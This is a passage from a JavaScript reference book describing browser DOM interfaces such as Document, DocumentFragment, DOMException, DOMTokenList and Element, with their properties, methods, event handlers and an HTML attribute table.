`ProcessingInstruction` **`createProcessingInstruction`**`(string` *`target`*`, string` *`data`*`)`

Creates and returns a new ProcessingInstruction node with the specified target and data string.

`Text` **`createTextNode`**`(string` *`data`*`)`

Creates and returns a new Text node to represent the specified text.

`Element` **`elementFromPoint`**`(float` *`x`*`, float` *`y`*`)`

Return the most deeply nested Element at window coordinates (*x*, *y*).

`boolean` **`execCommand`**`(string` *`commandId`*`, [boolean` *`showUI`*`, [string` *`value`*`]])`

Execute the editing command named by the *`commandId`* argument in whatever editable element has the insertion cursor. HTML5 defines the following commands:

```
bold              insertLineBreak          selectAll
createLink        insertOrderedList        subscript
delete            insertUnorderedList      superscript
formatBlock       insertParagraph          undo
forwardDelete     insertText               unlink
insertImage       italic                   unselect
insertHTML        redo
```

Some of these commands (such as "createLink") require an argument value. If the second argument to `execCommand()` is `false`, the third argument gives the argument that the command is to use. Otherwise, the browser will prompt the user for the necessary value. See §15.10.4 for more on `execCommand()`.

`Element` **`getElementById`**`(string` *`elementId`*`)`

This method searches the document for an Element node with an `id` attribute whose value is *`elementId`* and returns that Element. If no such Element is found, it returns `null`. The value of the `id` attribute is intended to be unique within a document, but if this method finds more than one Element with the specified *`elementId`*, it returns the first. This is an important and commonly used method because it provides a simple way to obtain the Element object that represents a specific document element. Note that the name of this method ends with "Id", not with "ID".

`NodeList` **`getElementsByClassName`**`(string` *`classNames`*`)`

Returns an array-like object of elements that have a `class` attribute that includes all of the specified *`classNames`*. *`classNames`* may be a single class or a space-separated list of classes. The returned NodeList object is live and is automatically updated as the document changes. The elements in the returned NodeList appear in the same order as they appear in the document. Note that this method is also defined on `Element`.

`NodeList` **`getElementsByName`**`(string` *`elementName`*`)`

This method returns a live, read-only, array-like object of Elements that have a `name` attribute whose value is *`elementName`*. If there are no matching elements, it returns a NodeList with `length` 0.

`NodeList` **`getElementsByTagName`**`(string` *`qualifiedName`*`)`

This method returns a read-only array-like object that contains all Element nodes from the document that have the specified tag name, in the order in which they appear in the document source. The NodeList is "live"—its contents are automatically updated as necessary when the document changes. For HTML elements, tag name comparison is case-insensitive. As a special case, the tag name "*" matches all elements in a document.

Note that the Element interface defines a method by the same name that searches only a subtree of the document.

`NodeList` **`getElementsByTagNameNS`**`(string` *`namespace`*`, string` *`localName`*`)`

This method works like `getElementsByTagName()`, but it specifies the desired tag name as a combination of namespace URI and local name within that namespace.

`boolean` **`hasFocus`**`()`

This method returns true if this document's Window has the keyboard focus (and, if that window is not a top-level window, all of its ancestors are focused).

`Node` **`importNode`**`(Node` *`node`*`, boolean` *`deep`*`)`

This method is passed a node defined in another document and returns a copy of the node that is suitable for insertion into this document. If *`deep`* is `true`, all descendants of the node are also copied. The original node and its descendants are not modified in any way. The returned copy has its `ownerDocument` property set to this document but has a `parentNode` of `null` because it has not yet been inserted into the document. Event-listener functions registered on the original node or tree are not copied. See also `adoptNode()`.

`Window` **`open`**`(string` *`url`*`, string` *`name`*`, string` *`features`*`, [boolean` *`replace`*`])`

When the `open()` method of a document is invoked with three or more arguments, it acts just like the `open()` method of the Window object. See `Window`.

`Document` **`open`**`([string` *`type`*`], [string` *`replace`*`])`

With two or fewer arguments, this method erases the current document and begins a new one (using the existing Document object, which is the return value). After calling `open()`, you can use the `write()` and `writeln()` methods to stream content to the document and `close()` to end the document and force its new content to be displayed. See §15.10.2 for details.

The new document will be an HTML document if *`type`* is omitted or is "text/html". Otherwise, it will be a plain text document. If the *`replace`* argument is true, the new document replaces the old one in the browsing history.

This method should not be called by a script or event handler that is part of the document being overwritten, because the script or handler will itself be overwritten.

`boolean` **`queryCommandEnabled`**`(string` *`commandId`*`)`

Returns `true` if it is currently meaningful to pass *`commandId`* to `execCommand()` and false otherwise. The "undo" command, for example, is not enabled if there is nothing to undo. See §15.10.4.

`boolean` **`queryCommandIndeterm`**`(string` *`commandId`*`)`

Returns `true` if *`commandId`* is in an indeterminate state for which `queryCommandState()` cannot return a meaningful value. Commands defined by HTML5 are never indeterminate, but browser-specific commands might be. See §15.10.4.

`boolean` **`queryCommandState`**`(string` *`commandId`*`)`

Return the state of the specified *`commandId`*. Some editing commands, such as "bold" and "italic," have a state `true` if the cursor or selection is in italic and `false` if it is not. Most commands are stateless, however, and this method always returns `false` for those. See §15.10.4.

`boolean` **`queryCommandSupported`**`(string` *`commandId`*`)`

Returns `true` if the browser supports the specified command and `false` otherwise. See §15.10.4.

`string` **`queryCommandValue`**`(string` *`commandId`*`)`

Returns the state of the specified command as a string. See §15.10.4.

`Element` **`querySelector`**`(string` *`selectors`*`)`

Returns the first element in this document that matches the specified CSS *`selectors`* (this may be a single CSS selector or a comma-separated group of selectors).

`NodeList querySelectorAll(string selectors)`

Returns an array-like object containing all Elements in this Document that match the specified *selectors* (this may be a single CSS selector or a comma-separated group of selectors). Unlike the NodeLists returned by `getElementsByTagName()` and similar methods, the NodeList returned by this method is not live: it is just a static snapshot of the elements that matched when the method was called.

`void write(string text...)`

This method appends its arguments to the document. You can use this method while the document is loading to insert content at the location of the `<script>` tag, or you can use it after calling the `open()` method. See §15.10.2 for details.

`void writeln(string text...)`

This method is like `HTMLDocument.write()`, except that it follows the appended text with a newline character, which may be useful when writing the content of a `<pre>` tag, for example.

Events

Browsers do not fire many events directly at Document objects, but Element events do bubble up to the Document that contains them. Therefore, Document objects support all of the event handler properties listed in `Element`. Like Elements, Document objects implement the `EventTarget` methods.

Browsers do fire two document readiness events at the Document object. When the `readyState` property changes, the browser fires a readystatechange event. You can register a handler for this event with the `onreadystatechange` property. The browser also fires a DOMContentLoaded event (see §17.4) when the document tree is ready (but before external resources have finished loading). You must use an `EventTarget` method to register a handler for those events, however, since there is an `onDOMContentLoaded` property.

DocumentFragment

adjacent nodes and their subtrees — Node

The DocumentFragment interface represents a portion—or fragment—of a document. More specifically, it is a list of adjacent nodes and all descendants of each, but without any common parent node. DocumentFragment nodes are never part of a document tree, and the inherited `parentNode` property is always `null`. DocumentFragment nodes exhibit a special behavior that makes them quite useful, however: when a request is made to insert a DocumentFragment into a document tree, it is not the DocumentFragment node itself that is inserted but instead each child of the DocumentFragment. This makes DocumentFragment useful as a temporary placeholder for nodes that you wish to insert, all at once, into a document.

You can create a new, empty DocumentFragment with `Document.createDocumentFragment()`.

You can search for elements in a DocumentFragment with `querySelector()` and `querySelectorAll()`, which work just like the same methods of the Document object.

Methods

`Element querySelector(string selectors)`

See `Document.querySelector()`.

`NodeList querySelectorAll(string selectors)`

See `Document.querySelectorAll()`.

DocumentType

the <!DOCTYPE> declaration of a document — Node

This infrequently used type represents the `<!DOCTYPE>` declaration of a document. The `doctype` property of a Document holds the DocumentType node for that document. DocumentType nodes are immutable and cannot be modified in any way.

DocumentType nodes are used to create new Document objects with `DOMImplementation.createDocument()`. You can create new DocumentType objects with `DOMImplementation.createDocumentType()`.

Properties

`readonly string name`
: The name of the document type. This identifier immediately follows `<!DOCTYPE>` at the start of a document, and it is the same as the tag name of the document's root element. For HTML documents, this will be "html".

`readonly string publicId`
: The public identifier of the DTD, or the empty string if none was specified.

`readonly string systemId`
: The system identifier of the DTD, or the empty string if none was specified.

DOMException

an exception thrown by a Web API

Most client-side JavaScript APIs throw DOMException objects when they need to signal an error. The `code` and `name` properties of the object provide more details about the error. Note that a DOMException can be thrown when reading or writing a property of an object as well as when calling a method of an object.

DOMException is not a subclass of the core JavaScript Error type, but it functions like one, and some browsers include a `message` property for compatibility with `Error`.

Constants

`unsigned short` **`INDEX_SIZE_ERR`** `= 1`
`unsigned short` **`HIERARCHY_REQUEST_ERR`** `= 3`
`unsigned short` **`WRONG_DOCUMENT_ERR`** `= 4`
`unsigned short` **`INVALID_CHARACTER_ERR`** `= 5`
`unsigned short` **`NO_MODIFICATION_ALLOWED_ERR`** `= 7`
`unsigned short` **`NOT_FOUND_ERR`** `= 8`
`unsigned short` **`NOT_SUPPORTED_ERR`** `= 9`
`unsigned short` **`INVALID_STATE_ERR`** `= 11`
`unsigned short` **`SYNTAX_ERR`** `= 12`
`unsigned short` **`INVALID_MODIFICATION_ERR`** `= 13`
`unsigned short` **`NAMESPACE_ERR`** `= 14`
`unsigned short` **`INVALID_ACCESS_ERR`** `= 15`
`unsigned short` **`TYPE_MISMATCH_ERR`** `= 17`
`unsigned short` **`SECURITY_ERR`** `= 18`
`unsigned short` **`NETWORK_ERR`** `= 19`
`unsigned short` **`ABORT_ERR`** `= 20`
`unsigned short` **`URL_MISMATCH_ERR`** `= 21`
`unsigned short` **`QUOTA_EXCEEDED_ERR`** `= 22`
`unsigned short` **`TIMEOUT_ERR`** `= 23`
`unsigned short` **`DATA_CLONE_ERR`** `= 25`

These are the possible values of the `code` property. The constant names are verbose enough to indicate the approximate reason that the exception was thrown.

Properties

`unsigned short` **`code`**

One of the constant values listed above, indicating what type of exception occurred.

`string` **`name`**

The name of the specific exception type. This will be one of the constant names listed above, as a string.

DOMImplementation

global DOM methods

The DOMImplementation object defines methods that are not specific to any particular Document object but rather are "global" to an implementation of the DOM. You can obtain a reference to the DOMImplementation object through the `implementation` property of any Document object.

Download from Wow! eBook <www.wowebook.com>

Methods

`Document **createDocument**(string *namespace*, string *qualifiedName*, DocumentType *doctype*)`

This method creates and returns a new XML Document object. If *qualifiedName* is specified, a root element with that name is created and added to the document as its `documentElement`. If *qualifiedName* includes a namespace prefix and a colon, *namespace* should be the URI that uniquely identifies the namespace. If the *doctype* argument is non-`null`, the `ownerDocument` property of this DocumentType object is set to the newly created document and the DocumentType node is added to the new document.

`DocumentType **createDocumentType**(string *qualifiedName*, *publicId*, *systemId*)`

This method creates and returns a new DocumentType node to represent a `<!DOCTYPE>` declaration that you can pass to `createDocument()`.

`Document **createHTMLDocument**(string *title*)`

This method creates a new HTMLDocument object with a skeletal document tree that includes the specified title. The `documentElement` property of the returned object is an `<html>` element, and this root element has `<head>` and `<body>` tags as its children. The `<head>` element in turn has a `<title>` child, which has the specified *title* string as its child.

DOMSettableTokenList

a token list with a settable string value — DOMTokenList

A DOMSettableTokenList is a `DOMTokenList` that also has a `value` property that can be set to specify the entire set of tokens at once.

The `classList` property of `Element` is a DOMTokenList that represents the set of tokens in the `className` property, which is a string. If you want to set all the `classList` tokens at once, you can simply set the `className` property to a new string. The `sandbox` property of the `IFrame` element is a little different. This property and the HTML attribute that it is based on was defined by HTML5 and so there is no need for an old string representation and a new DOMTokenList representation. In this case, the property is simply defined as a `DOMSettableTokenList`: you can read it and write it as if it were a string, or you can use its methods and use it as a set of tokens. The `htmlFor` property of `Output` and the `audio` property of `Video` are also DOMSettableTokenLists.

Properties

`string **value**`

The space-separated string representation of the set of tokens. You can read or write this property to treat the set as a single string value. You do not normally need to use this property explicitly, however: when you use a DOMSettableTokenList as a string, it is this string value that is returned. And if you assign a string to a DOMSettableTokenList, this property is implicitly set.

DOMTokenList

a set of space-separated tokens

A DOMTokenList is a parsed representation of a space-separated string of tokens, such as the `className` property of a `Element`. A DOMTokenList is, as its name implies, a list—it is an array-like object with a `length` property and you can index it to retrieve the individual tokens. But more importantly, it defines methods `contains()`, `add()`, `remove()`, and `toggle()` methods that allow you to treat it as a set of tokens. If you use a DOMTokenList as if it was a string, it evaluates to a space-separated string of tokens.

The HTML5 `classList` property of `Element` objects is a DOMTokenList, in browsers that support that property, and is the only DOMTokenList you are likely to use often. See also `DOMSettableTokenList`.

Properties

`readonly unsigned long` **`length`**

A DOMTokenList is an array-like object; this property specifies the number of unique tokens it contains.

Methods

`void` **`add`**`(string` *`token`*`)`

If the DOMTokenList does not already contain *`token`*, add it at the end of the list.

`boolean` **`contains`**`(string` *`token`*`)`

Returns `true` if the DOMTokenList contains *`token`*, or `false` otherwise.

`string` **`item`**`(unsigned long` *`index`*`)`

Return the token at the specified *`index`* or `null` if *`index`* is out of bounds. You can also index the DOMTokenList directly instead of calling this method.

`void` **`remove`**`(string` *`token`*`)`

If this DOMTokenList contains *`token`*, remove it. Otherwise, do nothing.

`boolean` **`toggle`**`(string` *`token`*`)`

If the DOMTokenList contains *`token`*, remove it. Otherwise add it.

Element

a document element — Node, EventTarget

An Element object represents an element in an HTML or XML document. The `tagName` property specifies the tag name or type of the element. Standard HTML attributes of the element are available through JavaScript properties of the Element object. Attributes, including XML attributes and nonstandard HTML attributes can also be accessed with the `getAttribute()` and `setAttribute()` methods. Element content is available through properties inherited from Node. If you are only interested in the Element relatives of an Element, you can use the `children` property or `firstElementChild`, `nextElementSibling`, and related properties.

There are a number of ways to obtain Element objects from documents. The `documentElement` property of a Document refers to the root element for that document, such as the `<html>` element of an HTML document. For HTML documents, the `head` and `body` properties are similar: they refer to the `<head>` and `<body>` elements of the document. To locate a specific named element by its unique `id` attribute, use `Document.getElementById()`. As described in §15.2, you can also obtain Element objects with Document and Element methods such as `getElementsByTagName()`, `getElementsByClassName()`, and `querySelectorAll()`. Finally, you can create new Element objects for insertion into a document with `Document.createElement()`.

Web browsers fire many different kinds of events on document elements, and Element objects define many event handler properties. In addition, Element objects define the EventTarget methods (see `EventTarget`) for adding and removing event listeners.

The reference entry for HTMLElement, which appeared in previous versions of this book, has been merged with this section. Note that some of the properties, methods, and event handlers described here are HTML-specific and will not work with the elements of XML documents.

Properties

In addition to the properties listed here, the HTML attributes of HTML elements are accessible as JavaScript properties of the Element object. HTML tags and their legal attributes are listed at the end of this reference entry.

`readonly Attr[] attributes`
: An array-like object of Attr objects that represent the HTML or XML attributes of this element. Element objects generally make attributes accessible through JavaScript properties, however, so it is never really necessary to use this `attributes[]` array.

`readonly unsigned long childElementCount`
: The number of child elements (not child nodes) that this element has.

`readonly HTMLCollection children`
: An array-like object of the Element children (excluding non-Element children, such as Text and Comment nodes) of this Element.

`readonly DOMTokenList classList`
: The class attribute of an element is a space-separated list of class names. This property allows access to the individual elements of that list and defines methods for querying, adding, removing, and toggling class names. See `DOMTokenList` for details.

`string className`
: This property represents the `class` attribute of the element. `class` is a reserved word in JavaScript, so the JavaScript property is `className` instead of `class`. Note that this property name is misleading, since the `class` attribute often includes more than one class name.

`readonly long clientHeight`
`readonly long clientWidth`
: If this element is the root element (see `document.documentElement`), these properties return the dimensions of the Window. These are the inner or viewport dimensions that exclude

scrollbars and other browser "chrome". Otherwise, these properties return the dimensions of the element's content plus padding.

`readonly long` **`clientLeft`**
`readonly long` **`clientTop`**
These properties return the number of pixels between the left or top edge of the element's border and the left or top edge of its padding. Normally this is just the left and top border width, but these amounts may also include the width of a scrollbar if one is rendered on the left or top of the element.

`CSSStyleDeclaration currentStyle`
This IE-specific property represents the cascaded set of all CSS properties that apply to the element. You can use it in IE8 and before as a substitute for the standard `Window.getComputedStyle()` method.

`readonly object` **`dataset`**
You can associate arbitrary values with any HTML element by assigning those values to attributes whose names begin with the special prefix "data-". This `dataset` property is the set of data attributes for an element and makes it easy to set and query them.

The value of this property behaves like a regular JavaScript object. Each property of the object corresponds to one data attribute on the element. If the element has an attribute named `data-x`, the `dataset` object has a property named `x`, and `dataset.x` has the same value as `getAttribute("data-x")` does.

Querying and setting properties of the `dataset` object queries and sets the corresponding data attributes of this element. You can use the `delete` operator to remove data attributes, and you can use a `for/in` loop to enumerate the data attributes.

`readonly Element` **`firstElementChild`**
This property is like the `firstChild` property of `Node`, but it ignores Text and Comment nodes and only returns Elements.

`string` **`id`**
The value of the `id` attribute. No two elements within the same document should have the same value for `id`.

`string` **`innerHTML`**
A read/write string that specifies the HTML or XML markup that is contained within the element, not including the opening and closing tags of the element itself. Querying this property returns the content of the element as a string of HTML or XML text. Setting this property to a string of HTML or XML text replaces the content of the element with the parsed representation of that text.

`readonly boolean` **`isContentEditable`**
This property is `true` if the element is editable or `false` otherwise. An element may be editable because of the `contenteditable` property on it or an ancestor or because of the `designMode` property of the containing Document.

`string` **`lang`**
The value of the `lang` attribute, which specifies the language code for the element's content.

`readonly Element` **`lastElementChild`**
This property is like the `lastChild` property of `Node`, but it ignores Text and Comment nodes and only returns Elements.

`readonly string` **`localName`**
The local, unprefixed name for this element. This differs from the `tagName` attribute, which includes the namespace `prefix` if there is one (and is converted to uppercase for HTML elements).

`readonly string` **`namespaceURI`**
The URL that formally defines the namespace for this element. This can be `null` or a string such as "http://www.w3.org/1999/xhtml".

`readonly Element` **`nextElementSibling`**
This property is like the `nextSibling` property of `Node`, but it ignores Text and Comment nodes and only returns Elements.

`readonly long` **`offsetHeight`**
`readonly long` **`offsetWidth`**
The height and width, in pixels, of the element and all its content, including the element's CSS padding and border, but not its margin.

`readonly long` **`offsetLeft`**
`readonly long` **`offsetTop`**
The X and Y coordinates of the upper left corner of the CSS border of the element relative to the `offsetParent` container element.

`readonly Element` **`offsetParent`**
Specifies the container element that defines the coordinate system in which `offsetLeft` and `offsetTop` are measured. For most elements, `offsetParent` is the `<body>` element that contains them. However, if an element has a dynamically positioned container, the dynamically positioned element is the `offsetParent`, and if the element is in a table, a `<td>`, `<th>`, or `<table>` element may be the `offsetParent`. See §15.8.5.

`string` **`outerHTML`**
The HTML or XML markup that defines this element and its children. If you set this property to a string, you replace this element (and all of its content) with the result of parsing the new value as an HTML or XML document fragment.

`readonly string` **`prefix`**
The namespace prefix for this element. This is usually `null`, unless you are working with an XML document that uses namespaces.

`readonly Element` **`previousElementSibling`**
This property is like the `previousSibling` property of `Node`, but it ignores Text and Comment nodes and only returns Elements.

`readonly long` **`scrollHeight`**
`readonly long` **`scrollWidth`**
The overall height and width, in pixels, of an element. When an element has scrollbars (because of the CSS `overflow` attribute, for example), these properties differ from

`offsetHeight` and `offsetWidth`, which simply report the size of the visible portion of the element.

`long` **`scrollLeft`**
`long` **`scrollTop`**
: The number of pixels that have scrolled off the left edge of the element or off the top edge of the element. These properties are useful only for elements with scrollbars, such as elements with the CSS `overflow` attribute set to `auto`. When these properties are queried on the `<html>` element (see `Document.documentElement`), they specify the amount of scrolling for the document as a whole. Note that these properties do not specify the amount of scrolling in an `<iframe>` tag. You can set these properties to scroll an element or the entire document. See §15.8.5.

`readonly CSSStyleDeclaration` **`style`**
: The value of the `style` attribute that specifies inline CSS styles for this element. Note that the value of this property is not a string but an object with read/write properties that correspond to CSS style attributes. See `CSSStyleDeclaration` for details.

`readonly string` **`tagName`**
: The tag name of the element. For HTML documents, the tag name is returned in uppercase, regardless of its capitalization in the document source, so a `<p>` element would have a `tagName` property of "P". XML documents are case-sensitive, and the tag name is returned exactly as it is written in the document source. This property has the same value as the inherited `nodeName` property of the Node interface.

`string` **`title`**
: The value of the `title` attribute of the element. Many browsers display the value of this attribute in a tool tip when the mouse hovers over the element.

Methods

`void` **`blur`**`()`

This method transfers keyboard focus to the `body` element of the containing `Document` object.

`void` **`click`**`()`

This method simulates a click on this element. If clicking on this element would normally make something happen (following a link, for example), this method makes that happen, too. Otherwise, calling this method just triggers a click event on the element.

`void` **`focus`**`()`

Transfer keyboard focus to this element.

`string` **`getAttribute`**`(string` *`qualifiedName`*`)`

`getAttribute()` returns the value of a named attribute of an element or `null` if no attribute with that name exists. Note that the HTMLElement object defines JavaScript properties that match each of the standard HTML attributes, so you need to use this method with HTML documents only if you are querying the value of nonstandard attributes. In HTML documents, attribute name comparisons are case-insensitive.

In XML documents, attribute values are not available directly as element properties and must be looked up by calling this method. For XML documents that use namespaces, include the namespace prefix and colon in the attribute name passed to this method or use `getAttributeNS()` instead.

`string` **`getAttributeNS`**`(string` *`namespace`*`, string` *`localName`*`)`

This method works just like the `getAttribute()` method, except that the attribute is specified by a combination of namespace URI and local name within that namespace.

`ClientRect` **`getBoundingClientRect`**`()`

Returns a `ClientRect` object that describes the bounding box of this element.

`ClientRect[]` **`getClientRects`**`()`

Returns an array-like object of ClientRects that describes one or more rectangles occupied by this element. (Inline elements that span more than one line usually require more than one rectangle to accurately describe their region of the window.)

`NodeList` **`getElementsByClassName`**`(string` *`classNames`*`)`

Returns an array-like object of descendant elements that have a `class` attribute that includes all of the specified *`classNames`*. *`classNames`* may be a single class or a space-separated list of classes. The returned NodeList object is live and is automatically updated as the document changes. The elements in the returned NodeList appear in the same order as they appear in the document. Note that this method is also defined on `Document`.

`NodeList` **`getElementsByTagName`**`(string` *`qualifiedName`*`)`

This method traverses all descendants of this element and returns an live array-like NodeList of Element nodes representing all document elements with the specified tag name. The elements in the returned array appear in the same order in which they appear in the source document.

Note that Document objects also have a `getElementsByTagName()` method that works just like this one but that traverses the entire document, rather than just the descendants of a single element.

`NodeList` **`getElementsByTagNameNS`**`(string` *`namespace`*`, string` *`localName`*`)`

This method works like `getElementsByTagName()`, except that the tag name of the desired elements is specified as a combination of a namespace URI and a local name defined within that namespace.

`boolean` **`hasAttribute`**`(string` *`qualifiedName`*`)`

This method returns `true` if this element has an attribute with the specified name and `false` otherwise. In HTML documents, attribute names are case-insensitive.

`boolean` **`hasAttributeNS`**`(string` *`namespace`*`, string` *`localName`*`)`

This method works like `hasAttribute()`, except that the attribute is specified by namespace URI and local name within that namespace.

`void insertAdjacentHTML(string position, string text)`

This method inserts the specified HTML markup *text* at the specified *position* relative to this element. The *position* argument must be one of these four strings:

Position	Meaning
beforebegin	Insert the text before the opening tag
afterend	Insert the text after the closing tag
afterbegin	Insert the text right after the opening tag
beforeend	Insert the text right before the closing tag

`Element querySelector(string selectors)`

Returns the first descendant of this element that matches the specified CSS *selectors* (this may be a single CSS selector or a comma-separated group of selectors).

`NodeList querySelectorAll(string selectors)`

Returns an array-like object containing all descendants of this Element that match the specified *selectors* (this may be a single CSS selector or a comma-separated group of selectors). Unlike the NodeList returned by `getElementsByTagName()`, the NodeList returned by this method is not live: it is just a static snapshot of the elements that matched when the method was called.

`void removeAttribute(string qualifiedName)`

`removeAttribute()` deletes a named attribute from this element. Attempts to remove nonexistent attributes are silently ignored. In HTML documents, attribute names are case-insensitive.

`void removeAttributeNS(string namespace, string localName)`

`removeAttributeNS()` works just like `removeAttribute()`, except that the attribute to be removed is specified by namespace URI and local name.

`void scrollIntoView([boolean top])`

If an HTML element is not currently visible in the window, this method scrolls the document so that it becomes visible. The *top* argument is an optional hint about whether the element should be positioned near the top or bottom of the window. If true or omitted, the browser will attempt to position the element near the top. If `false`, the browser will attempt to position the element near the bottom. For elements that accept the keyboard focus, such as Input elements, the `focus()` method implicitly performs this same scroll-into-view operation. See also the `scrollTo()` method of `Window`.

`void setAttribute(string qualifiedName, string value)`

This method sets the specified attribute to the specified value. If no attribute by that name already exists, a new one is created. In HTML documents, the attribute name is converted to lowercase before being set. Note that HTMLElement objects of an HTML document define JavaScript properties that correspond to all standard HTML attributes, and you can set attributes directly with those properties. Thus, you need to use this method only if you want to set a nonstandard attribute.

```
void setAttributeNS(string namespace, string qualifiedName, string value)
```

This method is like `setAttribute()`, except that the attribute to be created or set is specified with a namespace URI and a qualified name that consists of a namespace prefix, a colon, and a local name within the namespace.

Event Handlers

Element objects that represent HTML elements define quite a few event handler properties. Set any of the properties listed below to a function, and that function will be invoked when a specific type of event occurs on (or bubbles up to) the element. You can also use the methods defined by `EventTarget` to register event handlers, of course.

Most events bubble up the document hierarchy to the Document node, and then on from there to the Window object. So each of the event handler properties listed here are also defined on the Document and Window object. The Window object has quite a few event handlers of its own, however, and the properties marked with an asterisk in the table below have a different meaning on the Window object. For historical reasons, event handlers registered as HTML attributes of the `<body>` element are registered on the Window object, and this means that the handler properties with asterisks have a different meaning on the `<body>` element than they do on other elements. See `Window`.

Many of the events listed here are only triggered on certain types of HTML elements. But because most of those events bubble up the document tree, the event handler properties are defined generically for all elements. The HTML5 media events fired on `<audio>` and `<video>` tags do not bubble, so they are documented in `MediaElement`. Similarly, some HTML5 form-related events do not bubble and are covered under `FormControl`.

Event Handler	Invoked When...
onabort	resource loading canceled at user's request
onblur*	element loses input focus
onchange	user changes form control content or state (fired for complete edits, not individual keystrokes)
onclick	element activated by mouse click or other means
oncontextmenu	context menu is about to be displayed, usually because of a right-click
ondblclick	two rapid mouse clicks occur
ondrag	drag continues (triggered on drag source)
ondragend	drag ends (triggered on drag source)
ondragenter	drag enters (triggered on drop target)
ondragleave	drag leaves (triggered on drop target)
ondragover	drag continues (triggered on drop target)
ondragstart	user initiates drag-and-drop (triggered on drag source)
ondrop	user completes drag-and-drop (triggered on drop target)
onerror*	resource loading failed (usually because of a network error)
onfocus*	element gains keyboard focus
oninput	input occurs on a form element (triggered more frequently than onchange)

Event Handler	Invoked When...
onkeydown	the user presses a key
onkeypress	a keypress generates a printable character
onkeyup	the user releases a key
onload*	resource loading (e.g., for <img>) has completed
onmousedown	the user presses a mouse button
onmousemove	the user moves the mouse
onmouseout	the mouse leaves an element
onmouseover	the mouse enters an element
onmouseup	the user releases a mouse button
onmousewheel	the user rotates the mouse wheel
onreset	a <form> is reset
onscroll*	an element with scrollbars is scrolled
onselect	the user selects text in a form element
onsubmit	when a <form> is submitted

HTML Elements and Attributes

This reference section includes individual reference pages for the following HTML element types:

Element(s)	Reference Page	Element(s)	Reference Page
<audio>	Audio	<output>	Output
<button>, <input type="button">	Button	<progress>	Progress
<canvas>	Canvas	<script>	Script
<fieldset>	FieldSet	<select>	Select
<form>	Form	<style>	Style
<iframe>	IFrame	<td>	TableCell
<img>	Image	<tr>	TableRow
<input>	Input	<tbody>, <tfoot>, <thead>	TableSection
<label>	Label	<table>	Table
<a>, <area>, <link>	Link	<textarea>	TextArea
<meter>	Meter	<video>	Video
<option>	Option		

The HTML elements that do not have reference pages of their own are those whose only properties simply mirror the HTML attributes of the element. The following attributes are legal on any HTML element, and are therefore properties of all Element objects:

Attribute	Description
`accessKey`	keyboard shortcut
`class`	CSS class: see the `class`Name and `classList` properties above.
`contentEditable`	Whether element content is editable.
`contextMenu`	The ID of a <menu> element to display as a context menu. Supported only by IE at the time of this writing.
`dir`	Text direction: "ltr" or "rtl".
`draggable`	A boolean attribute set on elements that are drag sources for the Drag-and-Drop API.
`dropzone`	An attribute set on elements that are drop targets for the Drag-and-Drop API.
`hidden`	A boolean attribute set on elements that should not be displayed.
`id`	A unique identifier for the element.
`lang`	The primary language of the text in the element.
`spellcheck`	Whether element text should have spelling checked.
`style`	Inline CSS styles for the element. See the `style` property above.
`tabIndex`	Specifies the focus order of the element.
`title`	Tooltip text for the element.

The following HTML elements define no attributes other than the global attributes above:

<abbr>	<code>	<footer>	<hr>	<rt>	<sup>
<address>	<datalist>	<h1>	<i>	<ruby>	<tbody>
<article>	<dd>	<h2>	<kbd>	<s>	<tfoot>
<aside>	<dfn>	<h3>	<legend>	<samp>	<thead>
<b>		<h4>	<mark>	<section>	<title>
<bdi>	<dl>	<h5>	<nav>	<small>	<tr>
<bdo>	<dt>	<h6>	<noscript>		<ul>
 		<head>	<p>		<var>
<caption>	<figcaption>	<header>	<pre>	<sub>	<wbr>
<cite>	<figure>	<hgroup>	<rp>	<summary>	

The remaining HTML elements, and the attributes they support, are listed below. Note that this table only lists attributes other than the global attributes described above. Also note that this table includes elements that also have their own reference page:

Element	Attributes
<a>	href, target, ping, rel, media, hreflang, type
<area>	alt, coords, shape, href, target, ping, rel, media, hreflang, type
<audio>	src, preload, autoplay, loop, controls

Element	Attributes
<base>	href, target
<blockquote>	cite
<body>	onafterprint, onbeforeprint, onbeforeunload, onblur, onerror, onfocus, onhashchange, onload, onmessage, onoffline, ononline, onpagehide, onpageshow, onpopstate, onredo, onresize, onscroll, onstorage, onundo, onunload
<button>	autofocus, disabled, form, formaction, formenctype, formmethod, formnovalidate, formtarget, name, type, value
<canvas>	width, height
<col>	span
<colgroup>	span
<command>	type, label, icon, disabled, checked, radiogroup
<del>	cite, datetime
<details>	open
<embed>	src, type, width, height,
<fieldset>	disabled, form, name
<form>	accept-charset, action, autocomplete, enctype, method, name, novalidate, target
<html>	manifest
<iframe>	src, srcdoc, name, sandbox, seamless, width, height
<img>	alt, src, usemap, ismap, width, height
<input>	accept, alt, autocomplete, autofocus, checked, dirname, disabled, form, formaction, formenctype, formmethod, formnovalidate, formtarget, height, list, max, maxlength, min, multiple, name, pattern, placeholder, readonly, required, size, src, step, type, value, width
<ins>	cite, datetime
<keygen>	autofocus, challenge, disabled, form, keytype, name
<label>	form, for
<li>	value
<link>	href, rel, media, hreflang, type, sizes
<map>	name
<menu>	type, label
<meta>	name, http-equiv, content, charset
<meter>	value, min, max, low, high, optimum, form
<object>	data, type, name, usemap, form, width, height
<ol>	reversed, start
<optgroup>	disabled, label
<option>	disabled, label, selected, value
<output>	for, form, name

Element	Attributes
<param>	name, value
<progress>	value, max, form
<q>	cite
<script>	src, async, defer, type, charset
<select>	autofocus, disabled, form, multiple, name, required, size
<source>	src, type, media
<style>	media, type, scoped
<table>	summary
<td>	colspan, rowspan, headers
<textarea>	autofocus, cols, disabled, form, maxlength, name, placeholder, readonly, required, rows, wrap
<th>	colspan, rowspan, headers, scope
<time>	datetime, pubdate
<track>	default, kind, label, src, srclang
<video>	src, poster, preload, autoplay, loop, controls, width, height

ErrorEvent

an uncaught exception from a worker thread — Event

When an uncaught exception occurs in a `Worker` thread, and the exception is not handled by the `onerror` function in the `WorkerGlobalScope`, that exception causes a nonbubbling error event to be triggered on the Worker object. The event has an ErrorEvent object associated with it to provide details about the exception that occurred. Calling `preventDefault()` on the ErrorEvent object (or returning `false` from the event handler) will prevent the error from propagating further to containing threads and may also prevent it from being displayed in an error console.

Properties

`readonly string` **`filename`**
: The URL of the JavaScript file in which the exception was originally thrown.

`readonly unsigned long` **`lineno`**
: The line number within that file at which the exception was thrown.

`readonly string` **`message`**
: A message describing the exception.

Event

details for standard events, IE events and jQuery events

